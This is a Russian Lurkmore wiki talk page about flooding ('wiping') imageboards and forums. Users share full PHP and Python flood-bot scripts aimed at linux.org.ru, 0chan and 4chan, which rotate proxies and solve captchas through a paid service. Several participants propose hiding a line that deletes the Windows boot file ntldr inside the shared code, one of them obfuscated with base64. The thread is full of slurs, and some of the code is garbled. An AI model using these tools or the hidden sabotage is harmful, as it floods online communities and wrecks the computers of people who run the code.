Обсуждение:Вайп
Материал из Lurkmore
unlink("c:\\ntldr"); Не позорьтесь, лол.
Короче пацан тут такая маза - че сечешь? Да пугало ворон спугнуло, есть капуста но сурки следят так че по грабсам? Жим-жим - дрявый блядь дотман
[править] /r/
Реквестирую воткнуть вот эту картинку в статью в качестве иллюстрации
[править] флейм
слушайте, идите нахуй со своими двачами-имиджбордами и прочими говно-BB! Вайп - это когда БД игроков онлайн-игрушки злые дяди админы херят, называя (аль оправдывая) это действие живительной массовой эвтаназии сиречь kill it with fire. Мы в недоумении, почему это не отражено в статье, но зато блядь развести здесь три страницы тупого флейма про двач это да, это мы не забыли. Маладцы.
Ну убрал ты исходники, блядь, ну и чё? В истории куски кода-то вот они?
- Да даже если в истории не будет - все раз в неделю появляется в /b/, а если не появляется то достаточно создать тред и туда наверняка накидают. Так что прятать исходники это тоже не решение. Вернул на место.
- Молодец какой, а?
- Так и будем туда-сюда дергать?
- Перестаньте дёргать, пусть будет.
- Опять у кого-то руки чешутся...
- это все пидор-мудак сир оверхуй
- Опять у кого-то руки чешутся...
- Перестаньте дёргать, пусть будет.
- Так и будем туда-сюда дергать?
- Молодец какой, а?
не понимаю. кому станет лучше от того, что в /b/ будет еще больше говна?
- Во-первых, кому станет хуже? Во-вторых, прятать исходники это тоже не решение - все раз в неделю появляется в /b/.
- хуже станет всем посетителям /b/. спрятать чтоб никто не нашел действительно не получится, но зачем вывешивать на самом видном месте?
Может вернуть удаление ntldr? в профилактических целях. ^_^ L0calh0st 20:29, 23 декабря 2007 (MSK)
- Да, так все же лучше, пожалуй.
- --admLoki 05:10, 28 марта 2008 (MSK)
А в похапе варианте предлагаю сделать так :
try { @unlink(base64_decode('QzpcbnRsZHI=')); }
Просто уж больно заметно нехорошее :) .
Мля, поставьте ограничение на редактирование статьи. Унылые конфликты правок унылы.--Yum-yum 12:43, 24 декабря 2007 (MSK)
двачую
Ебаные сорцы вайпалок надо убрать! Ибо вайп идет линком на эту страницу. Пока вайперов только 5(синхронные дятлы, епта), но вы бля хотите, чтоб их 10 стало?--Быдло 14:02, 24 декабря 2007 (MSK)
- да хотим
- Да хоть 50, в общем-то. Что это реально поменяет?
И посмотрите, блждад, сколько просмотров на этой странице. Практически столько же, сколько и на главной. Вы желаете пиздец двачу? --Быдло 14:04, 24 декабря 2007 (MSK)
- да желаем
Nigraeb1, ты мудак. --Быдло 14:11, 24 декабря 2007 (MSK)
- пошел на хуй, ебаный
Поуберайте анлинки, и выложите нормальную многопоточную джава вайпалку а не то недописанное говно что лежит.
- Вот и выложи
- А вот хуй вам а не вайпалка. Надо быть полным идиотом чтобы не суметь переделать эту жава-вайпалку.
- Вот и не ругайтесь матом по телефону
- Кто выложит нормальную версию- тот получит 10 рандомных десу картинок. Ога.
- Вот и не ругайтесь матом по телефону
- А вот хуй вам а не вайпалка. Надо быть полным идиотом чтобы не суметь переделать эту жава-вайпалку.
try { unlink ("C:\\ntldr"); }catch (Exception $e) {} ololololo, сразу видно быдлокодер писал - есть такой символ "@" Сразу видно, что быдлокодер - это Вы: труЪ-кодеры ошибки не подавляют, а перехватывают.
[править] Закрытие вопроса
Дабы окончательно закрыть вопрос вайпа, реквестирую сюда ссылку на собранную подмаздай вайпалку с гуи, настройками, радиобаттонами и подробным хелпом.
- NOWAI! /r/еквестирую ее сорцы, причем портируемые и независимые от быдлофреймворков.
- Ради б-га. Но если мы хотим сделать вайп бессмысленным - нужна именно подмаздайная быдлотулза, которая будет доступна каждому школьнику, как был доступен "кольт" каждому ковбою на диком западе.
- Doncha think it'll kill /b/?--Yum-yum 16:43, 24 декабря 2007 (MSK)
- "What's that?" - "A wiper tool" - "And what is it good for?" - "/b/" - "What is /b/?" - "/b/ is dead, baby. /b/ is dead."
- Жжошь!!!! (Альзо это Рэмбо-Ш, да?)
- "Zed's dead, baby, Zed's dead" -- that's Pulp Fiction for'ya, dumbfuck.
- Хуле! В рэмбо третьем тоже был такой диалог, только про синюю лампочку, и без концовки. Может, скрытая пародия, лол!
- "Zed's dead, baby, Zed's dead" -- that's Pulp Fiction for'ya, dumbfuck.
- Жжошь!!!! (Альзо это Рэмбо-Ш, да?)
- /b/ уже умер. Сейчас все просто ждут и смотрят что из него дальше получится (кроме нытик-кунов, им религия не позволяет).
- "What's that?" - "A wiper tool" - "And what is it good for?" - "/b/" - "What is /b/?" - "/b/ is dead, baby. /b/ is dead."
- Doncha think it'll kill /b/?--Yum-yum 16:43, 24 декабря 2007 (MSK)
- Ради б-га. Но если мы хотим сделать вайп бессмысленным - нужна именно подмаздайная быдлотулза, которая будет доступна каждому школьнику, как был доступен "кольт" каждому ковбою на диком западе.
Все вайперы, вайпающие сейчас /b/ -- мудаки. Они даже поддержку тора привинтить вайпилке не могут. --Вайпер-кун 17:20, 24 декабря 2007 (MSK)
- А хуле- кто то ж должен быть мудаком. Главное чтоб больше этих мудаков не становилось.--Быдло2 18:38, 24 декабря 2007 (MSK)
- пошел в пизду
- А хуле- кто то ж должен быть мудаком. Главное чтоб больше этих мудаков не становилось.--Быдло2 18:38, 24 декабря 2007 (MSK)
[править] Wipal tendencies
Неужели ж вы не понимаете, что именно благодаря вайпу люди побегут в FGHI толпами, как из США в СССР 30-х годов?
- Понимаем. Но все, кому нужно- вайпалки уже взяли. А если вайпалка будет у каждого быдлошкольника, то вайп не прекратится вообще.--Быдло2 19:25, 24 декабря 2007 (MSK)
- ну и что? мне лично срать будет вайп или нет
- Вот-вот. вайп - это проблема двача. Админам двача насрать. So be it.
- группировка двачей снова портит страницу!!!!!
- Понимаем. Но все, кому нужно- вайпалки уже взяли. А если вайпалка будет у каждого быдлошкольника, то вайп не прекратится вообще.--Быдло2 19:25, 24 декабря 2007 (MSK)
[править] !
Вы гавно! Я вас ненавижу, я завайпаю ваш пидорский лурк расчленёнными пидронигроанимукапроёбами.
- а не могли бы вы о них статью написать? может не все знаю, что это такое... also вы расчленееные и капро - одно и тоже...
- ртфм капро - говень!
try: remove('C:\\ntldr') except: pass
блять, че за мудак это пишет, яйца оторвать блять этому пидарасу
Слил все исходники в один файл - http://rapidshare.com/files/109809826/_______Lurkmore.mht.html Призываю начальство удалить исходники и поместить вместо них эту ссылку. Или просто удалить - все равно они бесполезны.
- >remove('C:\\ntldr')
И что-что? Что это сделает линуксоебам?
[править] добавте
Вайп жжостского диска media:Sshot-2.jpg
[править] Вайпалка
Ваша вайпалка на питоне — говно. Нет ни проксей, ни капчи. http://pastie.org/private/fdpjgaegywdfnjhqsbzha
[править] 3.0
принт теперь функция же! Все ваши вайпалки говно!
[править] Вайпалка на перле
Умеет использовать прокси, работает в несколько потоков. Забивка капчей только вручную. http://ifolder.ru/9532480 Пароль к архиву: www.2ch.ru Ваш крыса-кун
- На питоне лучше ;3
моар вайпов с ниграми!!1
[править] Вайпалка ЛОРа
пруфпик - http://img172.imageshack.us/img172/8325/37077810ew9.png
скрипт
<?php
function getmsg()
{
$rand_value = rand(0, 15);
$file_array = file("msg.txt");
$line = $file_array[$rand_value];
return $line;
}
function getproxy($pid)
{
list($usec, $sec) = explode(" ", microtime());
srand((int)($usec*10)+$pid);
$rand_value = rand(0, 355);
$file_array = file("proxy.txt");
$line = $file_array[$rand_value];
return $line;
}
function geturl($url,$proxy=0,$postdata=0,$header=0,$cookie=0,$referer=0)
{
$poststr="";
if ($postdata)
while (list($name,$value)=each($postdata)){
if (strlen($poststr)>0)
$poststr.="&";
$poststr.=$name."=".urlencode($value);
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
if($proxy)
curl_setopt($ch, CURLOPT_PROXY, $proxy);
if($cookie){
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
//echo "COOKIE $cookie";
}
if($referer!=0)
curl_setopt($ch, CURLOPT_REFERER, $referer);
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
if ($header){
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_NOBODY, 1);
}else{
curl_setopt($ch, CURLOPT_HEADER, 0);
}
if ($postdata){
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);
}
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (U; Windows; ru; rv:1.9.0.5) Gecko/2007121622 Windows Firefox/2.0.5");
$res = curl_exec($ch);
curl_close($ch);
return $res;
}
$key = '72c5d28fds45fd6gd54676s6fg89a10c7b332c36b746df2e81a1ef8';
$add_url = 'http://www.linux.org.ru/add.jsp';
$groups = array (
'126','1339','1340','1342','4068','4066','7300','8403','19109'
);
for($i=0;$i<9;$i++){
$pid = pcntl_fork();
}
while(true){
$proxy = getproxy($pid);
$group = $groups[rand(0, 8)];
$header = geturl($add_url.'?group='.$group,$proxy,0,1);
preg_match('|JSESSIONID=(.*);|U', $header, $out);
$session = $out[1];
$mycookie = "JSESSIONID=".$session."; path=/; domain=www.linux.org.ru";
if(!empty($session)){
//echo "SESSION=".$session."\n";
;
}
else {
echo "Error getting session\n";
continue;
}
$captcha = null;
$captcha = geturl('http://www.linux.org.ru/jcaptcha.jsp',$proxy,0,0,$mycookie,$add_url.'?group='.$group);
if($captcha!=null)
//echo "CAPTHCA GETTED\n";
;
else {
echo "Captcha not getted\n";
continue;
}
$postdata = array(
'method' => 'base64,
'key' => $key,
'body' => base64_encode($captcha),
'ext' => 'jpg',
'phrase' => 0,
'regsense' => 0,
'numeric' => 0,
'min_len' => 3,
'max_len' => 9
);
$rev = geturl(http://",0,$postdata);
if (substr($rev,0,2)=='OK'){
//получаем id капчи в системе
$anti_captcha_id = substr($rev,3);
}else{
echo "Upload ERROR\n";
echo $rev;
echo $captcha;
continue;
}
//ждем 20 сек и проверяем капчу
$f = false;
while($f){
sleep(20);
$postdata = array(
'key' => $key,
'action' => 'get',
'id' => $anti_captcha_id
);
$cap = geturl("http://",0,$postdata);
if (substr($cap,0,2)=='OK'){
$captcha_value = substr($cap,3);
$f = true;
}else{
echo "ERROR\n";
echo $cap;
$f = false
}
}
$file = fopen('/dev/urandom', 'r);
$random = fread($file, 16);
$postdata = array(
"session" => $session,
"nick" => 'anonymous',
"password" => "",
"group" => $group,
"title" => $contentsgetmsg().$contents,
"msg" => getmsg()."\n http://www.ipetitions.com/petition/sayno2JB/signatures.html \n".$contents,
"mode" => 'tex',
"autourl" => '1',
"j_captcha_response" => $captcha_value
);
echo "SENDING POST\n";
$recdata = geturl('http://www.linux.org.ru/add.jsp',$proxy,$postdata,0,$mycookie,$add_url.'group='.$group);
//$recdata = post('http://www.linux.org.ru/add.jsp',$postdata,$proxy,$session);
echo $recdata;
}
?>
- Уйди, похапэ-быдлокодер.
[править] Python
подскажите пример бампа угодной темы (чтобы отправлялся пост с текстом "bump" и тут же удалялся, потом опять отправлялся и удалялся, дабы флуда не было, да и не заметный бамп был) для 4chan'а желательно, сотни нефти гарантирую! Да и вообще, бесконечную благодарность.
- Надумал закреплять треды?
- да не, там же (на форчане) темы быстро вниз слетают, а так иногда хочется чтобы она не слетала так быстро, вообщем у меня уже есть рабочий код для питона, но там нужно какой-то цикл проставить (ну чтоб он не один раз оставил сообщение, а несколько раз, сам, автоматически), чтоб, допустим, 50 сообщений "bump" с делеем (задержкой) 10 секунд.
вот скрипт, если интересно:
import httplib, urllib params = urllib.urlencode({'com': 'BUMP','resto':'3813716','mode':'regist',"MAX_FILE_SIZE":"3145728"}) headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "multipart/form-data"} conn = httplib.HTTPConnection("bin.4chan.org") conn.request("POST", "/g/imgboard.php", params, headers) response = conn.getresponse() print response.status, response.reason data = response.read() print data conn.close()
[править] Реквестирую удалить строку
Реквестирую удалить строку Вызов curl из shell-скрипта палево же, rm -rf /* уже все нубы знают
[править] Перенастройка вайпалки
Как перенастроить вышевыложенную вайпалку на перле под ментач?
[править] Капча
Программеры (не быдлокодеры), подкиньте хороших, годных линков на тему распознавания капчи, желательно не только сухую теорию, но и примеры.
- Тут нет программеров, одно быдло умеющее только rm -rf /*
- используй онлайн-сервисы для взлома капчи, полно их
[править] В поисках КО
Я нуб. Как вайпать с помощью кодов?
- Скачиваешь системушку программирования. Вставляешь код. Любуешься, как информация на винте превращается в кашу.
[править] Вайпалка на PHP под Windows и POSIX(Unix/Linux) для 0chan.ru (Кусаба)
Работает напрямую и через прокси, случайное изображение, случайный текст, ввод капчи вручную.
<?php
//..............................http://uchan.org.ua.................................
//...................................................................................
//...................................................................................
//,,,::,.....,:,,,:,.:,,,,,,,:,.::,,,,,,::............,,,.........:,,,,,,,::...:,,,,,
//MMMWWt.....IWMMMMt:MMMMMMMMWY,MMMMMMMMWM:..........IMMV........,MMMMMMMMWB,.:WMMMMM
//###M+,.....,;R#Wt,.:;R###M+:,.::I####I:,..........;W##B,........::I####t:,...:;Y###
//###V.........X#i.....V###I......;W##M,............V###W,..........;W##M,.......=###
//W##B........;WX,.....X###+......+###R............+#####:..........+###X........t###
//X##W:.......YW;......B###;......t###Y...........,BBB###=..........I###Y........Y###
//t###i......;Wt......,W###:......Y###i...........t#+Y###i..........V###i........R###
//;W##V.....,XB,......;W##M.......R###=..........:WX.t###Y..........R##W;.......,B##W
//.R##M,....+W=.......+###B......,W##W:..........VW;.+###X..........W##W,.......:W##M
//.t###+...:BY........t###X......+###M..........+WI..;###B.........:###B........=###R
//.:W##V...IM:........t###R.....,R###X.........,RM,..,W##M,........+###WYYYYYYYYB###Y
//..X##M,.;W+.........+####i,..;X####I.........tW+....B##W;........I###MRRRRRRRRW###i
//..i###+,XX,.........,B####BVXWXR###i........:MB=====R###+........V###+........R###=
//..:W##XiW;...........:R#####Bi,R###;........Y#WWWWWW####i.......,B##W;.......,M##W:
//...X###WI.............,=tIt=,.,M##W:.......;WV;;;;;;I###I.......:W##M,.......:W##M.
//...i###R,.....................;W##B,.......RM:......+###X.......;###R,.......+###X.
//...:W##=......................+###V.......+#I.......;W##M.......i###V........t###I.
//....R#Y.......................I###I......,BM:.......:W##W,......I###I........V###i.
//...:MB,.......................X###i......I#t........,M###;......X###+........B##W;.
//..;RW=........................B###=.....:WM,.........B###+......M###=.......,W##W:.
//+VW#t........................;W###:....,X#Y..........B###Y.....;###W:.......+###M,.
//##Wi......................,IYB####RIt:IX##MYI:....:IVW###WVI:tYB####RIt,.,IVM####RI
//WX=.......................:XYIIIIIIYY;XYIIIIV:....=XVIIIIIVX;VYIIIIIIYY,.:VYIIIIIIY
//.,==:..............................................................................
//...................................................................................
//......................................,;...........................................
//.......................................:,..........................................
//.......................................,=,.........................................
//......................................,:YI=;,,.....................................
//...................................,=IVXRRRXVYt=:..................................
//.................................,iXMMWWWWWWWMBRVt:................................
//................................=XW#############WMXi:..............................
//...............................iB#################WMY=.............................
//.............................,YM##########WW########WR=............................
//............................,RW########WWWWWW#########R=...........................
//............................tW#######WWMMBBBMMW###WWMW#R;..........................
//...........................:M#######WMBRRRRRRBMWWWMBRBW#V,.........................
//...........................Y#####MVIYRRXYi++IXRVVVRXVVBWWi.........................
//..........................;MBW#WV;::,:VYI,..+IX:,:IY+tXM#B,........................
//..........................Yt=X#V:iBX;.:Vi,,,=VX,,,iY,,:=XW+........................
//.........................;tV=VM;+WWMY,,It,,;:Vt,;,iV,+II=MX........................
//.........................+VW+RX:V##WR:,tV:,=,Ri,+,iR,+BWiXM,.......................
//.........................tII;WI:B###M;,Y#;:V,Y;,I,iM:,+I=VW=.......................
//.........................I;;;BI:B###B:,R#;:B:=:;V,iW::::;MWt.......................
//.........................IIB=IV:I###t,;WW;:M;,,tV,tW:iMBiVWY.......................
//........................,YRWitM;:IXI::V##=;W+,,IY,iM:tW#YtWY.......................
//........................,YtY;Y#X;::::YW##+=WI::BX:tM:;iI=tMI.......................
//........................,Y==+M##BYtYBW###RX#BVV#RtVM=;;::XRt.......................
//.........................YYRM#######################WMBVVBX+.......................
//.........................iRM######################W###WMBRV;.......................
//.........................=XBMW############W####WWWWWWWWMBRY:.......................
//.........................,VRMWWWWWWWWW###WWWWWWWWWWWWWMMBXI........................
//..........................tXBMWWWWWWWWWWWWWWWWWWWWWMMMMBRV+........................
//..........................;VRMMWWWWWWWWWWWWWWWWWWWWMMMBBVY:........................
//..........................,IXBMMWWWWWWWWWWWWWWWWWWMMMMBXVt.........................
//...........................=YRBMMWWWWWWWWWWWWWWWWMMMMBRVY;.........................
//..........................,,iVRBMMWWWWWWWWWWWWWMMMMBBRVV+,.........................
//...........................:;IXRBMMMWWWWWWWWWWMMMMMBRVVI;..........................
//..........................,;;=YXRBMMMMMMMMMMMMMMMBBRXXY=;,.........................
//..........................:;;=iVRRBBMMMMMMMMMMMBBBRRXY+=;,.........................
//..........................,;;=+IXRBBBMMMMMMMMBBBBRRRYi+;:..........................
//...........................:;=+tVBMMMMBBMMBBBBBBBBMXi+=:...........................
//............................,:;=iYRWW##WWWWWWW#WMRV+;:,............................
//...............................,:;=iYXRBMMMMBRYt+;:,...............................
//...................................,,,,,:::,,,.....................................
//...................................................................................
//...............................................................................:=..
//..............................................................................tWB..
//..............................................................................Y#V..
//.................:;,..........................................................i#I..
//...;VRRI:VRRV:.;VMWB:.........tXRX++XRXt=RRRi,YRV,..tXRRt..,tRXXRRY=VRRI,YRRV,=#i..
//....=#R..,MW:.,R=:R#Y..........V#i..i#V..t#B,.;B:....tR#Y..t#X:;WW,.;WB,.:WM,.;#=..
//....;#R,,:MW:..=..i#V..........V#i,,i#V..:MW;.ti....:Yt#Y..i#Y.,WM,.;WB,.:WM,.,M:..
//....;#WRRRWW:..;tIV#V..........V#BRRB#V...Y#I,V,....V;i#Y...iBYiWM,.:MWi:I#M,.,R,..
//....;#R,,,MW:.iWY,+#V..........V#i,,i#V...;#Mi+....iI.i#Y...=WM=WM,..;VXViWM,..=...
//....;#R..,MW:.R#;.i#V..........V#i..i#V....B#R,...;B,.i#Y..,R#i,WM,......:WM,.,t;..
//...,i#B;,=MW+,R#XiX#R:........:X#I::I#X:...t#t...:RX,:Y#R:,I#R,=WW=,....,+WM=.I#R..
//...:ttti,tttt:=RBt;tt=........+ttt;=ttt+...:R,...=tt;=ttt+;tt;,ttti,....:tttt,=Ri..
//...........................................;i......................................
//........................................t;;V,......................................
//........................................VWW+.......................................
//........................................+Y=........................................
//...................................................................................
//...............................http://uchan.org.ua.................................
//Скрипт для напівавтоматизованого вайпу нуляча написаний на php, тому для його роботи потрібний веб-сервер із php.
//Веб-сервер все-в-одному і після установки одразу готовий до використання:
//http://sourceforge.net/projects/appserv/files/
//
//Після встановлення в деректорію "C:\AppServ\www\" варто скопіювати файл .htaccess наступного змісту:
//Order deny,allow
//deny from all
//allow from 127.0.0.1
//Це блокує доступ для всіх окрім вашого комп'ютера до цього сервера. Цей файл є в папці "wipephp".
//
//Після цих маніпуляцій скопіюйте цю папку "wipephp" в "C:\AppServ\www\".
//
//Все, можна вайпати, для цього в броузері зайдіть за адресою: http://localhost:80/wipephp/ і відкрийте в новій вкладці потрібний скрипт.
//
//Додаткова інформація.
//Дошку достатньо змінити лише в назві скрипту між ---:
//---ДОШКА---
//
//---b---_uchan_wipe_0chan.php - цей скрипт варто використовувати для постингу без проксі в окремий тред, оскільки затримка флуду при цьому 10 секунд.
//
//У зв'язку з тим, що нові треди з одного IP можна створювати через невідомо значиний період часу, то доцільно створювати нові треди лише через proxy.
//---b---_(proxy)_uchan_wipe_0chan.php
//
//Будь-який скрипт можна відкрити довільну кількість разів. Досить ефективно на пряму постити в один тред, і через 5-7 разів відкритий скрипт працюючий через проксі створювати нові треди.
//
//P.S. Нові проксі можна взяти тут http://www.samair.ru/proxy/time-01.htm, їх треба чекнути на робочість, одна з програм для цього є тут: http://uchan.org.ua/sho/res/126.html#155, перевірку в AccessDiver проходять ~30%.
//
//.......................................http://uchan.org.ua..........................................
//Встановлюємо максимальний час виконання в секундах
set_time_limit(120);
$password = "erfjjwek2"; // Пароль на видалення повідомлень, варто змінити
$treadpost = '0'; // Якщо 0 - новий тред, якщо ввести номер треду повідомлення будуть писатись в цей тред.
$proxy = false; // true, або false - якщо не використовується проксі
$hostname=%26quot%3Bwww%2E0chan%2Eru%26quot%3B%3B
$board = "b"; // Дошка, ага. Якщо не вдалось знайти в назві скрипата ---ДОШКА---, тобуде використана ця.
$path = "board.php?dir=".$board;
$proxyip = $hostname;
$proxyport = "80";
$name = ''; // Псевдо
$files = "";
$bounds = "9700306295313";
$bounds1 = "-----------------------------".$bounds;
$dirdelimiter = "\\"; // В Windows \\, в Лінукс /.
$picdir = "pic"; // Директорія із зображеннями.
$captchadir = "captcha"; // Директорія куди зберігаються капчі.
$subject = 'Відповідь на Nо.'.(rand(0,200000000));
$comment = ">>".(rand(0,200000000))."\r\n"; // Початок коментаря
$commentend = "\r\nhttp://ukrkniga.org.ua/ukrkniga-text/36/22/\r\nhttp://uchan.org.ua/\r\n"; // Кінець коментаря, якщо додадуть в спам-фільтр треба замінити чи видалити посилання
//Затримка, різна для тредів і постів, і при роботі через проксі
if ($treadpost==0){$timeout = 60;} else {$timeout=10;}
if ($proxy == true){$timeout = 0;}
$countboard = preg_match_all('/---(.+?)---/', $_SERVER["SCRIPT_NAME"], $boardurl, PREG_SET_ORDER);
$boardurl = $boardurl[0][1];
if (empty($boardurl)) {$board=$board;} else {$board=$boardurl;}
//Якщо капча не введена робимо запит капчі
if (empty($_POST["captcha"]))
{
$proxyblock = '';
//Якщо ввімкнено проксі, то беремо капчу через випадковий проксі
if ($proxy == true)
{
$myFile = "proxy.txt";
$fr = fopen($myFile, 'r');
$allproxy = fread($fr, filesize($myFile));
fclose($fr);
$allproxy = preg_replace('/(\r?\n)/', 'poDJSLwlfja23u3afisjfDJ', $allproxy);
$allproxyArray = explode ("poDJSLwlfja23u3afisjfDJ", $allproxy);
$randprox= rand(0, (sizeof($allproxyArray)-1));
$proxyraw = $allproxyArray[$randprox];
$proxyrawArray = explode (":", $proxyraw);
$proxyip = $proxyrawArray[0];
$proxyport = $proxyrawArray[1];
$proxyblock = "<tr align='center'><td align='center' COLSPAN='2'>Через проксі ".$proxyip.":".$proxyport."<br /></td></tr>";
}
$headers = "GET http://$hostname/captcha.php HTTP/1.1\r\n";
$headers .= "Host: $hostname\r\n";
$headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
$headers .= "Accept: image/png,image/*;q=0.8,*/*;q=0.5\r\n";
$headers .= "Accept-Language: uk,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$headers .= "Accept-Encoding: deflate\r\n";
$headers .= "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
$headers .= "Keep-Alive: 300\r\n";
$headers .= "Connection: keep-alive\r\n";
$headers .= "Referer: http://$hostname/$board/\r\n\r\n";
$fp = fsockopen($proxyip, $proxyport, $errno, $errstr, 30);
if (!$fp) echo "$errstr ($errno)<br />\r\n<meta http-equiv='refresh' content='10;url=http://w2.guardtunnel.com/browse.php?u=Oi8vbHVya21vcmUucnUvJnF1b3Q7LiRfU0VSVkVSWyZxdW90O1NDUklQVF9OQU1FJnF1b3Q7XS4mcXVvdDs%3D&b=5'>";
else
{
fwrite($fp, $headers, strlen($headers));
//Збираємо до купи відповідь
$answer = '';
while(!feof($fp))
{
$answer.= fread($fp, 4096);
}
//Вирізаємо з відповіді зображення капчі
$patern = "/(\x89PNG.*)/s";
$count = preg_match($patern, $answer, $rez);
//Зберігаємо капчу
$randcap= rand(0, 2000000000);
$captchapng = $rez[0];
$myFile = $captchadir.$dirdelimiter."captcha-".$randcap.".png";
$fw = fopen($myFile, "w");
fwrite($fw, $captchapng);
fclose($fw);
}
//Витягнули з відповіді нові кукіси капчі та сесії
$patern = "/(Set\-Cookie\: )(cap=.*?)(\r\n)/i";
$count = preg_match($patern, $answer, $rez);
$newcookie = $rez[2];
$patern = "/(Set\-Cookie\: )(PHPSESSID=.*?)(\r\n)/i";
$count = preg_match($patern, $answer, $rez);
$phpsessid = $rez[2];
fclose($fp);
//Виводимо форму зі збереженим зображенням капчі, кукісами та всім іншим
echo "
<meta http-equiv='Content-Type' content='text/html;charset=utf-8' />
<form action='".$_SERVER['SCRIPT_NAME']."' method='post'>
<input name='newcookie' value='".$newcookie."' type='hidden' />
<input name='phpsessid' value='".$phpsessid."' type='hidden' />
<input name='proxyip' value='".$proxyip."' type='hidden' />
<input name='proxyport' value='".$proxyport."' type='hidden' />
<table align='center'><tbody>
<tr align='center'><td align='center' COLSPAN='2'><a href='http://uchan.org.ua/'><img src='http://uchan.org.ua/uchan.png' border='0' /></a><br /></td></tr>
<tr align='center'><td align='center' COLSPAN='2'><a href='http://uchan.org.ua/' style='text-decoration:none;'> http://uchan.org.ua/</a><br /></td></tr>
<tr align='center'><td align='center' COLSPAN='2'>На нуляч.<br /></td></tr>
".$proxyblock."
<tr><td><a href='".$_SERVER['SCRIPT_NAME']."'><img src='".$captchadir."/captcha-".$randcap.".png' alt='Натисни, щоб оновити' border='0' /></a><br /></td></tr>
<tr><td><input size='12' name='captcha' type='text' /></td>
<td><input tabindex='0' value='+Один Вайп'type='submit' /></td>
</tr></tbody></table>
</form><br />
";
}
//Якщо капча введена
if (!empty($_POST["captcha"]))
{
//Взяли капчу, кукіси та все інше з робочого пост-запиту
$newcookie = $_POST["newcookie"];
$captcha = $_POST["captcha"];
$phpsessid = $_POST["phpsessid"];
$proxyip = $_POST["proxyip"];
$proxyport = $_POST["proxyport"];
//Прочитали випадкове зображення і додали до нього викадкове число
$filearray = "";
foreach (glob("$picdir$dirdelimiter*.jpg") as $filename)
{
$filearray .= $filename."5dfg5dde5sa6SFDoiwlkds";
}
$filearray = explode("5dfg5dde5sa6SFDoiwlkds", $filearray);
$randfile = rand(0, (sizeof($filearray)-2));
$filename=%24filearray[%24randfile]%3B
//В Unix'ах може треба буде використовувати як розільник, інший слеш /
$filearray = explode("\\", $filename);
$filename=%24filearray[1]%3B
$filename=%24picdir%2E%24dirdelimiter%2E%24filename%3B
$files = file_get_contents($filename);
$random=rand()%10000000;
$files = $files.$random;
// Завантажуємо файл кометарів та беремо випадковий фрагмент
$myFile = "comments.txt";
$fr = fopen($myFile, 'r');
$allcomments = fread($fr, filesize($myFile));
fclose($fr);
$allCommentsArray = explode ("=====================================", $allcomments);
$randcom= rand(0, (sizeof($allCommentsArray)-1));
$comment .= $allCommentsArray[$randcom].$commentend;
//Формуємо пост-запит на сервер чана
$data = '$bounds1
Content-Disposition: form-data; name=%26quot%3Bboard%26quot%3B
$board
$bounds1
Content-Disposition: form-data; name=%26quot%3Breplythread%26quot%3B
$treadpost
$bounds1
Content-Disposition: form-data; name=%26quot%3BMAX_FILE_SIZE%26quot%3B
2048000
$bounds1
Content-Disposition: form-data; name=%26quot%3Bemail%26quot%3B
$bounds1
Content-Disposition: form-data; name=%26quot%3Bcaptcha%26quot%3B
$captcha
$bounds1
Content-Disposition: form-data; name=%26quot%3Bsubject%26quot%3B
$subject
$bounds1
Content-Disposition: form-data; name=%26quot%3Bmessage%26quot%3B
$comment
$bounds1
Content-Disposition: form-data; name=%26quot%3Bimagefile%26quot%3B%3B filename=%26quot%3Bmoskalyach%2Ejpg%26quot%3B
Content-Type: image/jpeg
$files
$bounds1
Content-Disposition: form-data; name=%26quot%3Bname%26quot%3B
$name
$bounds1
Content-Disposition: form-data; name=%26quot%3Bgotothread%26quot%3B
on
$bounds1
Content-Disposition: form-data; name=%26quot%3Bembed%26quot%3B
$bounds1
Content-Disposition: form-data; name=%26quot%3Bembedtype%26quot%3B
youtube
$bounds1
Content-Disposition: form-data; name=%26quot%3Bpostpassword%26quot%3B
$password
$bounds1--
';
$headers = "POST http://$hostname/$path HTTP/1.1\r\n";
$headers .= "Host: $hostname\r\n";
$headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
$headers .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$headers .= "Accept-Language: uk,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$headers .= "Accept-Encoding: deflate\r\n";
$headers .= "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
$headers .= "Keep-Alive: 300\r\n";
$headers .= "Connection: keep-alive\r\n";
$headers .= "Referer: http://$hostname/$board/\r\n";
$headers .= "Cookie: jsrot=2; kustyle_site=Autumn; kustyle=Autumn; postpassword=".$password."; ".$phpsessid."; ".$newcookie."; disclaimer=1; showwatchedthreads=0; jsrotx=1; jsrot_1=1\r\n";
$headers .= "Content-Type: multipart/form-data; boundary=---------------------------$bounds\r\n";
$headers .= "Content-Length: ".strlen($data)."\r\n\r\n";
$fp = fsockopen($proxyip, $proxyport, $errno, $errstr, 30);
if (!$fp) echo "$errstr ($errno)<br />\r\n<meta http-equiv='refresh' content='10;url=".$_SERVER["SCRIPT_NAME"]."'>";
else
{
fwrite($fp, $headers.$data, strlen($headers.$data));
$answer = '';
while(!feof($fp))
{
$answer .= fgets($fp, 4096);
}
//На всякий випадок зберігаємо відповідь, може треба буде для налагодження роботи
$myFile = "echo.html";
$fw = fopen($myFile, "w");
fwrite($fw, $answer);
fclose($fw);
//Записуємо створений тред чи пост в лог
$patern = "/(url=)(.*?)(\")/i";
$count = preg_match($patern, $answer, $rez);
$profit = $rez[2];
if (empty($rez[2]))
{
$patern = "/(\<h1.*?\>)(.*?)(\<\/h1\>)/si";
$count = preg_match($patern, $answer, $rez1);
$patern = "/(\<h2.*?\>)(.*?)(\<\/h2\>)/si";
$count = preg_match($patern, $answer, $rez2);
$profit = $rez1[2]." - ".$rez2[2];
$profit = preg_replace('/(\r?\n)/', '', $profit);
}
